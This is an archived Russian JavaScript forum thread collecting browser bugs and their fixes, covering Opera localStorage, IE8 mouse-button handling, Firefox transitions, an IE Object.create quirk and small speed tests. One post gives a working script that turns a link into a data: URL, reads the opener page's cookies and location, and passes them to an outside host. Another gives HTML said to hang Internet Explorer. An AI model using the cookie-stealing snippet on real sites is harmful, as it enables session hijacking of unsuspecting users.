Javascript-форум (https://javascript.ru/forum/)
-   Оффтопик (https://javascript.ru/forum/offtopic/)
-   -   FAQ Баги браузеров. (https://javascript.ru/forum/offtopic/33616-faq-bagi-brauzerov.html)

nerv_ 29.11.2012 16:51

FAQ Баги браузеров.
 
Всем привет.

Решил создать данную тему для складирования информации по багам браузеров и методов борьбы с ними. Тема не претендует на исчерпывающие сведения по всем глюкам всех браузеров. Подразумевается ее наполнение по мере наступания на очередные грабли любым из участников форума.

По возможности постим в формате проблема/решение.

Shaci 29.11.2012 17:19

Цитата:

Сообщение от nerv_ (Сообщение 218676)
Всем привет.

Решил создать данную тему для складирования информации по багам браузеров и методов борьбы с ними. Тема не претендует на исчерпывающие сведения по всем глюкам всех браузеров. Подразумевается ее наполнение по мере наступания на очередные грабли любым из участников форума.

По возможности постим в формате проблема/решение.

только, думаю, уже не стоит касаться IE6 и даже IE7

Gozar 29.11.2012 18:05

Цитата:

Сообщение от Shaci
только, думаю, уже не стоит касаться IE6 и даже IE7

Explorer 6 - 0.8%
Explorer 10 - 0.1%
Explorer 7 - 1.1%
Это так, чисто для справки.

Gozar 29.11.2012 18:07

Если у тебя 1% на сайте это 5 человек, то можно и болт забить, а вот если 1% это 1000 человек, тут я думаю решать нужно как-либо иначе. Хотя решения всех багов ie6 и 7 давно уже описаны в инете с лихвой.

dmitry111 29.11.2012 18:29

Opera и localStorage:
В opera, если есть свойства в localStorage появится еще одно свойство - localStorage.length с количеством сохранненных свойств:

http://learn.javascript.ru/play/CTiTkc

Во всех браузерах кроме opera выдаст "x". В opera выдаст x и length

Как с этим бороться - не использовать в качестве свойства значение length!

Shaci 29.11.2012 18:39

Цитата:

Сообщение от Gozar (Сообщение 218686)
Explorer 6 - 0.8%
Explorer 10 - 0.1%
Explorer 7 - 1.1%
Это так, чисто для справки.

по миру доля IE6 вроде повыше, сайт http://www.ie6countdown.com/ говорит о 6% (в россии - 0.6% )

Цитата:

а вот если 1% это 1000 человек
то тоже можно болт забить

Amphiluke 29.11.2012 19:14

Цитата:

Сообщение от dmitry111
Как с этим бороться - не использовать в качестве свойства значение length!

Зачем так радикально? Просто нужно использовать методы из API localStorage для таких «конфликтных» свойств
localStorage.clear();
console.log(localStorage.length); // 0
localStorage.setItem("length", "55");
console.log(localStorage.getItem("length")); // 55
console.log(localStorage.length); // 1

dmitry111 29.11.2012 19:19

стоит не стоит - какая разница?
Те кому надо будут поддерживать и биться за этот мизерный 1% ущемляя в новаторских фишках 99% посетителей и неделями отлаживая под ie

Те кому не надо, будут делать более продвинутый интерфейс и привлекут часть посетителей своим более крутым функционалом с того сайта где борятся за 1% )

dmitry111 29.11.2012 20:13

Amphiluke,

ага, спасибо!

Shaci 30.11.2012 14:06

Цитата:

Сообщение от Gozar
а вот если 1% это 1000 человек, тут я думаю решать нужно как-либо иначе.

вообщем все зависит от возможностей и задач конторы-разработчика, есть время и ресурсы и потребность в этом, можно попробовать и на старых браузерах что-то попытаться запустить
можно использовать, например - это http://clubs.ya.ru/ui/replies.xml?item_no=2
только не знаю насколько такой подход к ие6 в данное время применим

nerv_ 01.12.2012 01:44

Цитата:

Сообщение от Shaci
только, думаю, уже не стоит касаться IE6 и даже IE7

в целом согласен. Эти темы замусолены уже давным давно :) Но если кто-то запостит, я буду не против )

Gozar 02.12.2012 22:41

По просьбе хакира посчу баг оперы 12.00чего-то там.

Сбивается кодировка русского языка при отправке через FormData./способ решения НЕЕЕТ!!!

dmitry111 05.01.2013 06:59

Баг в ie10 и ниже

Если один элемент лежит поверх другого и у верхнего элемента не будет правила background или значение этого правила будет transparent, то нижний элемент будет на одном уровне в верхнем.

Решение :

прописать любой background, можно даже background: rgba(0,0,0,0) для верхнего элемента

devote 05.01.2013 09:44

Цитата:

Сообщение от dmitry111
Во всех браузерах кроме opera выдаст "x". В opera выдаст x и length

а в чем сложность не перебирать свойства localStorage for'ом а тупо юзать как говорит Amphiluke, стандартные методы, например есть метод key()
пример:
localStorage.setItem('ololo', 'my value');

for(var i = 0; i < localStorage.length; i++ ) {
    console.log(localStorage.key(i) + ' = ' + localStorage.getItem(localStorage.key(i)));
}

devote 05.01.2013 09:48

Цитата:

Сообщение от Gozar
Сбивается кодировка русского языка при отправке через FormData./способ решения НЕЕЕТ!!!

пример покажи при каких условиях оно так происходит

cyber 05.01.2013 14:47

есть один забавный баг у ие, если написать так
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"
   "http://www.w3.org/TR/html4/loose.dtd">
 
<style type="text/css">
    #a { margin: 0 10px 10px; }
    #b { width: 100%; }
</style>
<table>
    <tr>
        <td>
            <div id="a">
               <form id="b">
               <input type="text" name="test"/>
            </div>
        </td>
        <td width="1">
        </td>
    </tr>
</table>

то ие повеситься как версии не помню (помню что 9 точно), где прочитал уже тоже не помню=)

Gozar 05.01.2013 15:17

Цитата:

Сообщение от devote
пример покажи при каких условиях оно так происходит

При любых условиях. Пример давно отправлен в багрепорт. Это баг и он был исправлен в следующих сборках. Можно сильно не парится, т.к. эта версия была проходная.

Я так понял они её забыли реализовать, поддержку. Как когда-то забыли реализовать поддержку русских названий профилей(логин юзера кирилицей). Из-за чего не работали подключаемые шрифты.

l-liava-l 05.01.2013 20:56

opera 12.01
человечек что-то намудрил (вроде вырубился комп когда опера была в полноэкранном режиме)
Пропала вся навигация.
Вылечил удалением operaprefs.ini (лежит в аппдате)

Deff 06.01.2013 04:21

Хабро идея - браузерная уязвимость FF и Opera

Тырим куки вставленной на сайт ссылкой (Посколь в песочнице топика куков обычно нет, выведется только ссылка
<a id="filt_city" target="_blank" href="http://test083tst.mybb.ru/">Клик</a>

<script type="text/javascript">
var a=document.getElementById('filt_city'),c="scr",
b ="data:text/html, <a>window.name=window.opener.location+','\
+window.opener.document.cookie;window.location='http://test083tst.mybb.ru/'</a>".replace(/a(>)/g,c+'ipt$1');a.href=b;
</script>

dmitry111 06.01.2013 07:39

Цитата:

Сообщение от devote
а в чем сложность не перебирать свойства localStorage for'ом а тупо юзать как говорит Amphiluke, стандартные методы, например есть метод key()

devote, благодарю!

dmitry111 06.01.2013 07:53

ie8 не хочет работать с which при событии onclick

Вот этот :
fixEvent = function (e) {
    e = e || window.event;

    if (!e.which && e.button) {
        e.which = e.button & 1 ? 1 : ( e.button & 2 ? 3 : (e.button & 4 ? 2 : 0) );
    }
    return e;
}

.. или этот пример:
function fixWhich(e) {
  if (!e.which && e.button) { // если which нет, но есть button...
    if (e.button & 1) e.which = 1;      // левая кнопка
    else if (e.button & 4) e.which = 2; // средняя кнопка
    else if (e.button & 2) e.which = 3; // правая кнопка
  }
}


не работают в IE8

e.which при нажатие на левую клавишу выдает undefined, на правую - не реагирует никак


Зато e.button при нажатие на левую клавишу выдает 0 !



Пример:

<!DOCTYPE HTML>
<html>
  <head> </head>
  <body>
    
    <input type="button" id="a" value="сработает в ie8">
    <input type="button" id="b" value="не сработает в ie8">

    <script>
      var a = document.getElementById("a"),
          b = document.getElementById("b"),
          fixEvent = function (e) {
			e = e || window.event;
			if (!e.which && e.button) {
				e.which = e.button & 1 ? 1 : ( e.button & 2 ? 3 : (e.button & 4 ? 2 : 0) );
			}
            return e;
          };
      
		a.onmousedown = function (e) {
			e = fixEvent(e);
        
			if (e.which !== 1) {
				return;
            }
        
			alert("привет мир");
		}
      
		b.onclick = function (e) {
			e = fixEvent(e);
        
			if (e.which !== 1) {
				return; // e.which в ie8 на левую клавишу мыши выдаст undefined
            }
        
			alert("привет мир");
		}
    </script>

  </body>
</html>

nerv_ 06.01.2013 19:40

док тайп е?

dmitry111 06.01.2013 20:08

Цитата:

Сообщение от nerv_
док тайп е?

<!DOCTYPE HTML>

dmitry111 17.01.2013 08:51

Баг в Firefox (v18.0 , os x) c CSS-свойствами:

Некорректно работает transition когда:
- появляется правило у элемента, которое нельзя сделать переходным
- элемент имеет position:fixed..

Пример:
Есть группа элементов со свойством transition.
body, #a, #b, #x, #y {
	-webkit-transition: all .1s;
	-ms-transition: all .1s;
	-o-transition: all .1s;
	-moz-transition: all .1s;
	transition: all .1s;
}

Некоторые из этих элементов имеют position: fixed (это одна из причин бага)!

Эти элементы, получают класс со свойствами, которые можно плавно изменить (margin, left).
Но одновременно с этим body получает свойство overflow c значением hidden (св-во может быть любое, главное - которое нельзя плавно изменить)


Результат: плавный переход не срабатывает в firefox


Решение проблемы:
1. Можно задать небольшой интервал для назначения неизменяемого св-ва для body:
window.setTimeout(function () {
    document.body.style.overflow = "hidden";
}, 1);


2. Убрать у элементов, которые участвуют в плавном переходе, position: fixed


Суть бага мне еще до конца не ясна((

Демо бага http://test.hnoe.ru/
В левой части браузера вкладка, во всех браузерах кроме firefox она анимированная

nerv_ 17.01.2013 19:58

Цитата:

Сообщение от dmitry111
ie8 не хочет работать с which при событии onclick

ну так его (which) и нет в IE8 :) Когда-то написал такую штуку,
e.which = e.button !== 2 ? e.button >> 2 : 2;

но сейчас уже не уверен, что она работает...

Я тебе честно скажу: создал тему, чтобы запостить баг.
Но, немного поковырявшись в проблеме, понял, что дело не в браузере :no:

dmitry111 17.01.2013 20:05

Цитата:

Сообщение от nerv_
ну так его (which) и нет в IE8 Когда-то написал такую штуку,

да нет, но я же там использовал фикс:

if (!e.which && e.button) {
    e.which = e.button & 1 ? 1 : ( e.button & 2 ? 3 : (e.button & 4 ? 2 : 0) );
}


и с фиксом не работает

nerv_ 17.01.2013 20:13

Цитата:

Сообщение от dmitry111
и с фиксом не работает

значит фикс неверный. Открой IE, отладчик и посмотри. Все в твоих руках :)

dmitry111 17.01.2013 20:24

nerv_,

фикс верный, проверял в отладчике, и тем более он работает с mousedown!

Проблема именно в onclick. Возможно в старых ie для этого события специально не предусмотрен e.which (e.button)

Gozar 06.02.2013 22:12

FF18 неправильно обрабатывает у блока text-align:left(устанавливает его в justify) если у списка элементов внутри блока есть :first-letter.

Вроде правильно описал баг. Фичей не могу это назвать, бесит.

danik.js 07.02.2013 02:34

Кстати, немного не в тему, но вижу что и dmitry111, и nerv_, предложили какие то непонятные решения для определения e.button.
Вот что используется в одной библиотечке (это фикс значения e.button):
if (e.preventDefault) {
    return e.button;
}
// old IE
else {
    return {1:0, 2:2, 4:1}[e.button];
}


Помоему очень наглядно и лично я поразился простоте и необычности решения. Думаю этот прием можно кое-где где использовать для замены if-ов и switch-ей. Сорри если сорвал давно сорванные уже покровы.

Да, я вкурсе, идея использовать объект в роли ассоциативного массива не очень нова, но вот использовать объект без объявления перменной в таком вот виде не всегда в голову прийдет.

danik.js 07.02.2013 06:45

Дзен-трансгуманист, да ты мастер обфускации ))
Скрипты наверно эффективнее через тебя пропускать, нежели через какой-нибудь компрессор-минификатор :)

Gozar 07.02.2013 11:16

Цитата:

Сообщение от Дзен-трансгуманист
Считай это естественным тестом на профпригодность, который было бы обидно не пройти.

Считай, что ты только что унизил всех людей, которые не понимают зачем нужно писать код непонятно, когда можно писать его понятно и в ответ все эти люди назвали тебя козлом.

Насколько мне известно применение побитовых операций в js не приводит к увеличению скорости, а скорее наоборот. Поэтому ты добавил тормоза в программу и оправдываешь их инженерным образованием.

devote 07.02.2013 11:49

Цитата:

Сообщение от Gozar
Насколько мне известно применение побитовых операций в js не приводит к увеличению скорости, а скорее наоборот.

Тут можно еще поспорить:
function test1(defs) {
    return {1:0, 2:2, 4:1}[defs];
}

function test2(defs) {
    return (defs & ~1) % 3;
}

function test3(defs) {
    return [0,0,2,,1][defs];
}

var lastTime=(new Date()).getTime();
for(var i = 0; i < 100000; i++) {
    test1(i & 1);
}
alert("Время заняло с использованием объекта (ms): " + ((new Date()).getTime()-lastTime));

var lastTime=(new Date()).getTime();
for(var i = 0; i < 100000; i++) {
    test2(i & 1);
}
alert("Время заняло с использованием битов (ms): " + ((new Date()).getTime()-lastTime));

var lastTime=(new Date()).getTime();
for(var i = 0; i < 100000; i++) {
    test3(i & 1);
}
alert("Время заняло с использованием массива (ms): " + ((new Date()).getTime()-lastTime));


Opera 12.13:
Время заняло с использованием объекта (ms): 61
Время заняло с использованием битов (ms): 17
Время заняло с использованием массива (ms): 20

devote 07.02.2013 11:56

пример с массивом и битами работают почти с одинаковой скоростью... Хотя если позапускать несколько раз, то видно что идентичны.. Но вот с объектами все намного хуже.

Можно провести тест со свитчем:
function test1(defs) {
    switch(defs) {
        case 1:
            return 0;
        case 2:
            return 2;
        case 4:
            return 1;
        deafult:
            return 0;
    }
}
 
var lastTime=(new Date()).getTime();
for(var i = 0; i < 100000; i++) {
    test1(i & 1);
}
alert("Время заняло с использованием switch (ms): " + ((new Date()).getTime()-lastTime));


Opera 12.13
Время заняло с использованием switch (ms): 15

Gozar 07.02.2013 12:34

Цитата:

Сообщение от devote
Тут можно еще поспорить

Каюсь. Наверное стереотипы. :(

nerv_ 07.02.2013 12:36

Цитата:

Сообщение от Gozar
Считай, что ты только что унизил всех людей, которые не понимают зачем нужно писать код непонятно, когда можно писать его понятно

+. "Не заставляйте меня думать" ... там, где этого делать не надо. Тут следовало бы сделать ремарку насчет предложенного мной варианта и в коммнтульках написать, что делает код. Кстати. это можно изобразить способом, предложенным danik.js.

function test7(x) {
    return x !== 2 ? x >> 2 : 2;
}
 
var lastTime=(new Date()).getTime();
for(var i = 0; i < 100000; i++) {
    test7(i & 1);
}
      
alert("Время с использованием x !== 2 ? x >> 2 : 2 (ms): " + ((new Date()).getTime()-lastTime));


return (e.button & ~1) % 3;

// 1. ~1
// 2. e.button & x
// 3.  x % 3;


Цитата:

Сообщение от Gozar
Насколько мне известно применение побитовых операций в js не приводит к увеличению скорости, а скорее наоборот.

слышал информацию на этот счет. Мое мнение - все меняется настолько быстро, ничему верить нельзя (в плане производительности). Тесты, тесты, тесты. При этом не факт, что если сегодня быстро, то завтра (код не трогаем, меняется только браузер ... внутри) не будет медленно и наоборот.

Цитата:

Сообщение от danik.js
предложили какие то непонятные решения для определения e.button.

в моем все просто и очевидно (как мне кажется), но не настолько наглядно, как в "твоем"

Если принимать во внимание, что события мыши могу обрабатываться довольно часто, то решение с объектом, пускай и наглядным, приведет к лишним задр*чкам и в без того медленном IE. Впрочем, надо тестировать...

Gozar 08.02.2013 00:02

Цитата:

Сообщение от Дзен-трансгуманист
твои эмоции на мой личный счет

У меня нет эмоций на твой счет.

Цитата:

Сообщение от Дзен-трансгуманист
больше не буду

Цитата:

Сообщение от Дзен-трансгуманист
детский сад

;)

nerv_ 08.02.2013 03:30

Цитата:

Сообщение от Дзен-трансгуманист
Извини за оффтоп

не переживай на этот счет :no:

Ну, а Gozar он добрый и пушистый (особенно когда не бреется). Только тщательно это скрывает :)

nerv_ 10.04.2014 18:29

Object.create() IE9,10 bug
 
Bug
var obj = Object.create({}.constructor.prototype);
//var obj = Object.create(Object.getPrototypeOf({}));
//var obj = {};

obj['0'] = null;
obj['1'] = null;

alert(obj.hasOwnProperty('0')); // IE9,10 - false
alert(obj.hasOwnProperty('1')); // IE9,10 - false


Fix
var obj = Object.create({}.constructor.prototype);
//var obj = Object.create(Object.getPrototypeOf({}));
//var obj = {};

obj['0'] = null;
obj['1'] = null;
obj['x'] = null; // fix

alert(obj.hasOwnProperty('0')); // true
alert(obj.hasOwnProperty('1')); // true

Octane 10.04.2014 18:55

Жесть… я только начинал верить в IE :( в 11 версии не исправили

------------
причем, если сразу же удалить fix, то баг останется, поэтому вот такой декоратор для Object.create не прокатил:
//IE9-11 Object.create bug fix
(function () {
	var object = Object.create({});
	object[0] = null;
	return object.hasOwnProperty(0); //→ false in IE9-11
}()) || (Object.create = new function () {
	var create = Object.create;
	return function (prototype, properties) {
		var object = create(prototype, properties);
		object[0] = null;
		object.fix = null;
		delete object[0];
		//delete object.fix; //нельзя удалять!
		return object;
	};
});


придется фиксить так:
//IE9-11 Object.create bug fix
(function () {
	var object = Object.create({});
	object[0] = null;
	return object.hasOwnProperty(0); //→ false in IE9-11
}()) || new function () {
	var create = Object.create;
	Object.create = function (prototype, properties) {
		function NOP() {}
		NOP.prototype = prototype;
		//Object.defineProperties fixes a bug
		return properties ? create(prototype, properties) : new NOP;
	};
};


Часовой пояс GMT +3, время: 16:32.